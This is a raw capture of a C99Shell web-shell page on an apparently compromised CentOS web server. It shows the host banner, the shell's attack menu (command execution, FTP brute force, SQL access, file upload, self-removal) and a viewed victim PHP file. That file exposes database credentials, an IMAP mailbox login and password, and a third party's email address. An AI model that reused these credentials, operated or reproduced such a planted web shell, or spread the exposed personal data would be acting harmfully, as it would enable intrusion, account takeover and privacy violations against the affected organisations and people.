!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/webmail/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     leitura_email.php (1.66 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
    $db
=mysql_connect("mysql.irpen.com.br","irpen1br","12irpe41");
    
$dbnome "irpen1br";
    
$select mysql_select_db($dbnome);
        
    
$sql " SELECT OFI_Descricao, CON_Descricao, CID_Descricao, NEW_Email, NEW_Senha "
         
" FROM oficios "
         
" INNER JOIN FUN_NovoEmail ON OFI_RowID = NEW_Oficio_DR "
         
" INNER JOIN cidades ON CID_RowID = OFI_Cidades_DR "
         
" INNER JOIN contatos ON CON_Oficios_DR = OFI_RowID LIMIT 0,1 ";
    
$rs_query mysql_query($sql);
    
    while (
$rst_query mysql_fetch_array($rs_query))
    {
        
$OFI_Descricao        $rst_query["OFI_Descricao"];
        
$CON_Descricao        $rst_query["CON_Descricao"];
        
$CID_Descricao        $rst_query["CID_Descricao"];
        
$NEW_Email            $rst_query["NEW_Email"];
        
$NEW_Senha            $rst_query["NEW_Senha"];
        
        echo 
$NEW_Email " - " $NEW_Senha "<br>";
        
        
$caixaDeCorreio imap_open("{pop.funarpen.com.br:143/novalidate-cert}INBOX""marcio@funarpen.com.br""marcio");
        
$headers imap_search($caixaDeCorreio'UNSEEN FROM "joaopaulo17@gmail.com"');
        
$totais count($headers);
        
        
$check imap_mailboxmsginfo($caixaDeCorreio);
        
$mensagens_totais     $check->Nmsgs;
        
$mensagens_nlidas     $check->Unread;
        
$tamanho            $check->Size;
                
        echo 
"Mensagens: $mensagens_nlidas";
        
/*
        if (count($headers))
        {
            for ($i = 0; $i<5; $i++)
            {
                $posicao = $headers[$i];
                
                $msg1 = imap_fetch_overview($caixaDeCorreio, "1:$mensagens_totais");
                $msg2 = $msg1[$i]->subject;
                $msg2 = imap_utf8($msg2);
                $msg2= utf8_decode($msg2);
                echo($msg2) . "<br>";
            }
            
        }else{
            echo "<br> Caixa Postal Vazia <br>";
        }
        
         $caixaDeCorreio = imap_close($caixaDeCorreio);
*/
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0038 ]--